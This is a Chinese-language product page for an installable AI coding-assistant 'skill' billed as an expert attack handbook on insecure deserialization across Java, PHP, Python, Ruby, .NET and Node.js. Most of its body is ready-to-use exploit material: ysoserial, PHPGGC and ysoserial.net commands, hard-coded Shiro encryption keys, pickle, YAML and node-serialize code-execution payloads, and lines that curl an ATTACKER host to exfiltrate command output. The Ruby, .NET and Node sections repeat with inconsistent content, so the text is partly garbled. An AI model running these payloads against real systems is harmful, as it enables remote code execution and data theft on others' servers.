关于 deserialization-insecure
用于调查 Java、PHP、Python、Ruby 和 .NET 不安全反序列化问题的安全测试技能。内容涵盖流量特征、gadget chain 选择、安全确认探针,以及 ysoserial 和 PHPGGC 等工具,面向有经验的测试人员。
主要功能
- 01多语言反序列化流量特征
- 02Java gadget chain 与版本线索
- 03ysoserial 与 PHPGGC 用法
- 04Python pickle 与 PHP Phar 分析
- 05安全确认探针与检测流程
- 06Ruby 和 .NET 参考内容
适用场景
- 01从请求或 Cookie 中识别序列化数据
- 02根据目标语言和依赖筛选 gadget chain
- 03用 URLDNS 探针确认 Java 反序列化
- 04审查不可信输入的反序列化风险
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill deserialization-insecure安装后在 Claude Code 中输入/deserialization-insecure确认已加载。
附带文件JAVA_GADGET_CHAINS.md
详细介绍
技能:不安全反序列化——专家攻击手册
AI 加载指令:涵盖 Java、PHP 和 Python 的专家级反序列化技术。包括 Gadget 链选择、流量指纹识别、工具使用(ysoserial、PHPGGC)、Shiro/WebLogic/Commons Collections 专项、Phar 反序列化和 Python pickle 滥用。基础模型往往无法区分找到接收点与找到可用 Gadget 链。
0. 相关路由
- 当反序列化导致 JNDI 查找时使用 jndi-injection(例如,通过 LDAP → 反序列化绕过 JDK 8u191 之后的限制)
- 当反序列化端点是暴露的管理服务(RMI Registry、T3、AJP)时使用 unauthorized-access-common-services
- 当 WAF 阻止你的 BCEL ClassLoader 或 Fastjson
@type载荷时使用 ghost-bits-cast-attack——Ghost Bits 会将每个字节码字节封装在低 8 位与其匹配的 Unicode 字符中,从而生成 WAF 无法识别指纹的载荷
进阶参考
在以下情况下,还需加载 JAVA_GADGET_CHAINS.md:
- Java Gadget 链版本兼容性矩阵(CommonsCollections 1–7、CommonsBeanutils、Spring、仅依赖 JDK、Groovy、Hibernate、ROME、C3P0 等)
- SnakeYAML Gadget(ScriptEngineManager/URLClassLoader)及利用 JAR 结构
- Hessian/Kryo/Avro/XStream 反序列化模式和流量指纹
- .NET ViewState 反序列化(machineKey 要求、使用 ysoserial.net 伪造 ViewState、Blacklist3r)
- Ruby YAML.load 与 YAML.safe_load 利用及特定版本链
- 检测指纹:按格式列出的魔数表(Java
AC ED、.NETAAEAAD、Python pickle80 0N、PHPO:、Ruby04 08)
1. 流量指纹识别——这是否为反序列化?
Java 序列化对象
| 指标 | 查找位置 |
|---|---|
十六进制 ac ed 00 05 | 请求/响应正文、Cookie、POST 参数中的原始二进制数据 |
Base64 rO0AB | Cookie(rememberMe)、隐藏表单字段、JWT 声明 |
Content-Type: application/x-java-serialized-object | HTTP 标头 |
| T3/IIOP 协议流量 | WebLogic 端口(7001、7002) |
PHP 序列化对象
| 指标 | 查找位置 |
|---|---|
O:NUMBER:"ClassName" 模式 | POST 正文、Cookie、会话文件 |
a:NUMBER:{(数组) | 同上 |
使用 phar:// URI | 接受用户控制路径的文件操作 |
Python Pickle
| 指标 | 查找位置 |
|---|---|
十六进制 80 03 或 80 04(协议 3/4) | 请求、消息队列中的二进制数据 |
| Base64 编码的二进制数据块 | API 参数、Cookie、Redis 值 |
源代码中的 pickle.loads / pickle.load | 代码审查 / 白盒审查 |
2. JAVA——GADGET 链和工具
ysoserial——主要工具
# Generate payload (example: CommonsCollections1 chain with command)
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin
# Base64-encode for HTTP transport
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0
# Common chains to try (ordered by frequency of vulnerable dependency):
# CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x
# Spring1, Spring2 — Spring Framework
# Groovy1 — Groovy
# Hibernate1 — Hibernate
# JBossInterceptors1 — JBoss
# Jdk7u21 — JDK 7u21 (no extra dependency)
# URLDNS — DNS-only confirmation (no RCE, works everywhere)
URLDNS——安全确认探测
URLDNS 会触发 DNS 查找,但不会造成 RCE,可安全用于确认反序列化且不造成损害:
java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin
协作服务器收到 DNS 请求 = 已确认反序列化。然后升级到 RCE 链。
Commons Collections——经典链
当 org.apache.commons.collections(3.x)位于类路径中,且应用对不可信数据调用 readObject() 时,就会存在此漏洞。
该链中的关键类:InvokerTransformer → ChainedTransformer → TransformedMap → 在反序列化过程中触发 Runtime.exec()。
Apache Shiro — rememberMe 反序列化
Shiro 使用 AES-CBC 加密 rememberMe Cookie 中序列化的 Java 对象。
Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA== # most common default
wGJlpLanyXlVB1LUUWolBg== # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
攻击流程:
- 检测:会话无效时,响应会设置
rememberMe=deleteMeCookie - 生成 ysoserial 载荷(为广泛兼容性推荐使用 CommonsCollections6)
- 使用已知密钥和随机 IV 进行 AES-CBC 加密
- 进行 Base64 编码 → 将其设为
rememberMeCookie 值 - 发送请求 → 服务端解密 → 反序列化 → RCE
DNSLog 确认(完整 RCE 之前):使用 URLDNS 链 → java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" → 加密 → 设置 Cookie → 检查 DNSLog 是否收到请求。
修复后(随机密钥):密钥仍可能通过填充预言机泄露,或通过其他 CVE(SHIRO-721)泄露。
WebLogic 反序列化
多种攻击向量:
- T3 协议(端口 7001):直接注入序列化对象
- XMLDecoder(CVE-2017-10271):通过
/wls-wsat/CoordinatorPortType进行基于 XML 的反序列化 - IIOP 协议:T3 的替代方案
# T3 probe — check if T3 is exposed:
nmap -sV -p 7001 TARGET
# Look for: "T3" or "WebLogic" in service banner
Java RMI Registry
RMI Registry(端口 1099)按设计会接受序列化对象:
# ysoserial exploit module for RMI:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"
# Requires: vulnerable library on target's classpath
# Works on: JDK <= 8u111 without JEP 290 deserialization filter
JDK 版本限制
| JDK 版本 | 影响 |
|---|---|
| < 8u121 | RMI/LDAP 远程类加载可用 |
| 8u121-8u190 | RMI 的 trustURLCodebase=false;LDAP 仍可用 |
| >= 8u191 | RMI 和 LDAP 远程类加载均被阻止 |
| >= 8u191 绕过方式 | 使用 LDAP → 返回序列化的 gadget 对象(而非远程类) |
3. PHP — unserialize 和 PHAR
魔术方法链
PHP 反序列化会按顺序触发魔术方法:
__wakeup() → called immediately on unserialize()
__destruct() → called when object is garbage-collected
__toString() → called when object is used as string
__call() → called for inaccessible methods
攻击:构造一个序列化对象,使其 __destruct() 或 __wakeup() 触发危险操作(写入文件、执行 SQL 查询、命令执行、SSRF)。
序列化对象格式
O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}
phpMyAdmin 配置注入(真实案例)
phpMyAdmin 的 PMA_Config 类可通过 source 属性读取任意文件:
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}
PHPGGC — PHP Gadget 链生成器
# List available chains:
phpggc -l
# Generate payload (example: Laravel RCE):
phpggc Laravel/RCE1 system id
# Common chains:
# Laravel/RCE1-10
# Symfony/RCE1-4
# Guzzle/RCE1
# Monolog/RCE1-2
# WordPress/RCE1
# Slim/RCE1
Phar 反序列化
Phar 归档包含序列化元数据。对 phar:// URI 执行任何文件操作都会触发反序列化,即使从未直接调用 unserialize()。
触发函数(部分列表):
file_exists() file_get_contents() fopen()
is_file() is_dir() copy()
filesize() filetype() stat()
include() require() getimagesize()
攻击流程:
- 上传有效文件(例如,包含 phar polyglot 的 JPEG)
- 触发文件操作:
file_exists("phar://uploads/avatar.jpg") - PHP 反序列化 phar 元数据 → 执行 gadget 链
# Generate phar with PHPGGC:
phpggc -p phar -o exploit.phar Monolog/RCE1 system id
4. PYTHON — PICKLE
reduce 方法
Python 的 pickle.loads() 会在反序列化期间调用对象的 __reduce__(),后者可以返回一个可调用对象和参数:
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ("id",))
payload = pickle.dumps(Exploit())
# Send payload to target that calls pickle.loads()
分析 Pickle 操作码
import pickletools
pickletools.dis(payload)
# Shows opcodes: GLOBAL, REDUCE, etc.
# Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)
常见 Python 反序列化入口
pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data) # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)
防御绕过:RestrictedUnpickler
即使使用了 RestrictedUnpickler.find_class,也要检查白名单是否过于宽泛:
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
raise pickle.UnpicklingError(f"forbidden: {module}.{name}")
如果 safe_builtins 包含 eval、exec 或 __import__,仍然可以被利用。
5. 检测方法
Found binary blob or encoded object in request/cookie?
├── Java signature (ac ed / rO0AB)?
│ ├── Use URLDNS probe for safe confirmation
│ ├── Identify libraries (error messages, known product)
│ └── Try ysoserial chains matching identified libraries
│
├── PHP signature (O:N:"...)?
│ ├── Identify framework (Laravel, Symfony, WordPress)
│ ├── Try PHPGGC chains for that framework
│ └── Check for phar:// wrapper in file operations
│
├── Python (opaque binary, base64 blob)?
│ ├── Try pickle payload with DNS callback
│ └── Check if PyYAML unsafe load is used
│
└── Not sure?
├── Try URLDNS payload (Java) — check DNS
├── Try PHP serialized test string
└── Monitor error messages for class loading failures
6. 防御须知
| 语言 | 缓解措施 |
|---|---|
| Java | 使用 JEP 290 反序列化过滤器;将允许的类列入白名单;避免对不可信数据使用 ObjectInputStream;改用 JSON/Protobuf |
| PHP | 避免对用户输入使用 unserialize();改用 json_decode();在文件操作中阻止 phar:// |
| Python | 仅对可信数据使用 pickle;对外部输入使用 json;PyYAML:始终使用 yaml.safe_load() |
7. 快速参考 — 关键载荷
# Java — URLDNS confirmation
java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"
# Java — RCE via CommonsCollections
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"
# PHP — Laravel RCE
phpggc Laravel/RCE1 system "id"
# PHP — Phar polyglot
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"
# Python — Pickle RCE
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'__reduce__':lambda s:(os.system,('id',))})()).hex())"
# Shiro default key test
rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>
8. RUBY 反序列化
Ruby Marshal
- 对不可信数据使用
Marshal.load→ RCE - 特征:二进制数据,无常见文本头
- 多种 Ruby 版本均存在 gadget 链
- Docker 验证:通过
[hex_string].pack("H*")使用十六进制载荷
Ruby YAML(YAML.load)
-
YAML.load(而非YAML.safe_load)会执行任意 Ruby 对象 -
Ruby 2.7.2 之前:
Gem::Requirement链 →git_set: id/git_set: sleep 600 -
Ruby 2.x-3.x:
Gem::Installer→TarReader→Kernel#system链(步骤更多、更复杂) -
始终测试:
YAML.load("--- !ruby/object:Gem::Installer\ni: x"),以检查类实例化 -
载荷模板:
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
type: :runtime
specs:
- !ruby/object:Gem::StubSpecification
loaded_from: "|id"
- 注意:
YAML.safe_load是安全的(Ruby 2.1+);Psych.safe_load也安全
9. .NET 反序列化
-
流量指纹:
- BinaryFormatter:十六进制
AAEAAD(base64AAEAAAD/////) - ViewState:十六进制
FF01或/w前缀 - JSON.NET:JSON 中的
$type属性
- BinaryFormatter:十六进制
-
BinaryFormatter(最危险,.NET 5+ 中已弃用):任意类型实例化
-
XmlSerializer:通过
ObjectDataProvider+XamlReader链执行命令<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:od="http://schemas.microsoft.com/powershell/2004/04" type="System.Windows.Data.ObjectDataProvider"> <od:MethodName>Start</od:MethodName> <od:MethodParameters><sys:String>cmd</sys:String><sys:String>/c calc</sys:String></od:MethodParameters> <od:ObjectInstance xsi:type="System.Diagnostics.Process"/> </root> -
NetDataContractSerializer:与 BinaryFormatter 类似,在 XML 中包含完整类型信息
-
LosFormatter:用于 ViewState,反序列化为
ObjectStateFormatter -
JSON.NET:
$type属性可控制类型 →ObjectDataProvider+ExpandedWrapper链{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}} -
工具:
ysoserial.net— 为所有 .NET 格式化器生成载荷ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64 ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" -
POP gadget:
ObjectDataProvider、ExpandedWrapper、AssemblyInstaller.set_Path
10. NODE.JS 反序列化
-
node-serialize:使用 IIFE(立即调用函数表达式)的
unserialize()- 载荷标记:
_$$ND_FUNC$$_ - 在末尾添加
()以自动执行:
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"} - 载荷标记:
-
funcster:
__js_function属性 → 使用constructor.constructor访问process{"__js_function":"function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"} -
cryo:与 funcster 类似,可序列化支持函数的 JS 对象
RUBY 反序列化
Marshal(二进制格式)
# Ruby's Marshal.load is equivalent to Java's ObjectInputStream
# Any class with marshal_dump/marshal_load can be a gadget
# Detection: binary data starting with \x04\x08
# Or hex: 0408
# PoC gadget (requires vulnerable class in scope):
payload = "\x04\x08..." # hex-encoded gadget chain
Marshal.load(payload) # triggers arbitrary code execution
YAML.load(严重 — 最常见的 Ruby 反序列化入口)
# YAML.load (NOT YAML.safe_load) deserializes arbitrary Ruby objects
# Ruby <= 2.7.2 — Gem::Requirement chain:
# Triggers via !ruby/object constructor
---
!ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source
current_fetch_uri: !ruby/object:URI::Generic
path: "| id"
# Ruby 2.x–3.x — Gem::Installer chain:
# Uses Gem::Installer → Gem::StubSpecification → Kernel#system
---
!ruby/hash:Gem::Installer
i: x
!ruby/hash:Gem::SpecFetcher
i: y
!ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id # <-- command to execute
method_id: :resolve
# Safe alternative: YAML.safe_load (whitelist of allowed types)
工具
elttam/ruby-deserialization— Ruby gadget 链生成器- 参考
frohoff/ysoserial→ 查找 Ruby 专用分支
.NET 反序列化
流量指纹识别
| 指示特征 | 序列化器 |
|---|---|
十六进制 00 01 00 00 00 / Base64 AAEAAD | BinaryFormatter |
十六进制 FF 01 / Base64 /w | DataContractSerializer |
ViewState 以 __VIEWSTATE 开头 | LosFormatter / ObjectStateFormatter |
JSON 中包含 $type 属性 | JSON.NET(Newtonsoft)TypeNameHandling |
XML 中包含 <ObjectDataProvider> | XmlSerializer / NetDataContractSerializer |
BinaryFormatter / LosFormatter
# Most dangerous — arbitrary type instantiation
# Tool: ysoserial.net
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "cmd /c whoami > C:\\out.txt" -o base64
# LosFormatter wraps BinaryFormatter — same gadgets work
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe" -o base64
XmlSerializer + ObjectDataProvider
<root>
<ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
<ObjectDataProvider.MethodParameters>
<sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">cmd.exe</sys:String>
<sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">/c whoami</sys:String>
</ObjectDataProvider.MethodParameters>
<ObjectDataProvider.ObjectInstance>
<ProcessStartInfo xmlns="clr-namespace:System.Diagnostics;assembly=System">
<ProcessStartInfo.FileName>cmd.exe</ProcessStartInfo.FileName>
<ProcessStartInfo.Arguments>/c whoami</ProcessStartInfo.Arguments>
</ProcessStartInfo>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</root>
带 TypeNameHandling 的 JSON.NET
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib",
"$values": ["cmd.exe", "/c whoami"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"
}
}
当 TypeNameHandling 设置为 Auto、Objects、Arrays 或 All 时存在漏洞。
工具
pwntester/ysoserial.net— 主要的 .NET 反序列化载荷生成器- Gadget 链:TypeConfuseDelegate、TextFormattingRunProperties、PSObject、ActivitySurrogateSelectorFromFile
NODE.JS 反序列化
node-serialize(IIFE 模式)
// node-serialize uses eval() internally
// Payload uses _$$ND_FUNC$$_ marker + IIFE:
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}';
// The trailing () makes it an Immediately Invoked Function Expression
// When unserialize() processes this, it executes the function
// Full HTTP exploit (in cookie or body):
{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://ATTACKER/?x=$(id|base64)',function(e,o,s){});}()","email":"[email protected]"}
funcster
// funcster deserializes functions via constructor.constructor pattern:
{"__js_function":"function(){var net=this.constructor.constructor('return require')()('child_process');return net.execSync('id').toString();}"}
PHP create_function + 反序列化组合
// When a PHP class uses create_function in __destruct or __wakeup:
// Serialize an object where:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function(){ ;}system('id');/* }
// Closing the original function body and injecting a command
// In serialized form, private properties need \0ClassName\0 prefix:
O:7:"Noteasy":2:{s:19:"\0Noteasy\0method_name";s:15:"create_function";s:14:"\0Noteasy\0args";s:21:";}system('id');/*";}
11. RUBY 反序列化
Marshal
# Ruby's native serialization. Dangerous when deserializing untrusted data.
# Detection: Binary data starting with \x04\x08
# One-liner gadget verification (hex-encoded payload):
payload = ["040802"].pack("H*") # Minimal Marshal header
Marshal.load(payload)
YAML(CVE 丰富的攻击面)
# YAML.load is DANGEROUS — equivalent to eval for Ruby objects
# Safe alternative: YAML.safe_load
# Ruby <= 2.7.2: Gem::Requirement chain
--- !ruby/object:Gem::Requirement
requirements:
- !ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source
uri: "| id"
# Ruby 2.x-3.x: Gem::Installer chain (more complex)
# Triggers: git_set → Kernel#system
--- !ruby/object:Gem::Installer
i: x
# (Full chain available in ysoserial-ruby / blind-ruby-deserialization)
# Universal detection: supply YAML that triggers DNS callback
--- !ruby/object:Gem::Fetcher
uri: http://BURP_COLLAB/
工具:elttam/ruby-deserialization、mbechler/ysoserial(Ruby 变体)
12. .NET 反序列化
指纹识别
| 魔数 | 格式 |
|---|---|
AAEAAD(base64)/ 00 01 00 00 00(十六进制) | BinaryFormatter |
FF 01 或 /w(base64) | ViewState(ObjectStateFormatter) |
<(XML 起始符) | XmlSerializer / DataContractSerializer |
包含 $type 键的 JSON | JSON.NET(已启用 TypeNameHandling) |
BinaryFormatter(最危险)
# Always dangerous when deserializing untrusted data
# Tool: ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o base64
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" -o raw
ViewState(ASP.NET)
# If __VIEWSTATE is not MAC-protected (enableViewStateMac=false):
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg="SHA1" --validationkey="KNOWN_KEY"
# Leak machineKey from web.config (via LFI/backup) → forge ViewState
XmlSerializer + ObjectDataProvider
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ObjectDataProvider MethodName="Start">
<ObjectInstance xsi:type="Process">
<StartInfo>
<FileName>cmd.exe</FileName>
<Arguments>/c whoami</Arguments>
</StartInfo>
</ObjectInstance>
</ObjectDataProvider>
</root>
JSON.NET(滥用 $type)
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System",
"StartInfo": {
"$type": "System.Diagnostics.ProcessStartInfo, System",
"FileName": "cmd.exe",
"Arguments": "/c whoami"
}
}
}
当 JSON 反序列化设置中的 TypeNameHandling != None 时存在漏洞。
工具
pwntester/ysoserial.net— 主要的 .NET gadget 链生成器NotSoSecure/Blacklist3r— 使用已知的 machineKey 解密/伪造 ViewState
13. NODE.JS 反序列化
node-serialize (IIFE injection)
// Vulnerable pattern:
var serialize = require('node-serialize');
var obj = serialize.unserialize(userInput);
// Payload: IIFE (Immediately Invoked Function Expression)
// The _$$ND_FUNC$$_ prefix signals a serialized function
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()"}
// Key: the () at the end causes immediate execution upon deserialization
funcster
// Vulnerable: funcster.deepDeserialize(userInput)
// Payload uses __js_function to inject via constructor chain:
{"__js_function":"function(){var net=this.constructor.constructor('return this')().process.mainModule.require('child_process');return net.execSync('id').toString()}()"}
PHP create_function + Deserialization Combo
// When create_function is available and object is deserialized:
// Payload creates lambda with injected code:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function anonymous() { ;}system('id');/* }
// Effective: close original body, inject command, comment out rest
// In serialized form (with private property \0ClassName\0):
O:8:"ClassName":2:{s:13:"\0ClassName\0func";s:15:"create_function";s:12:"\0ClassName\0arg";s:18:";}system('id');/*";}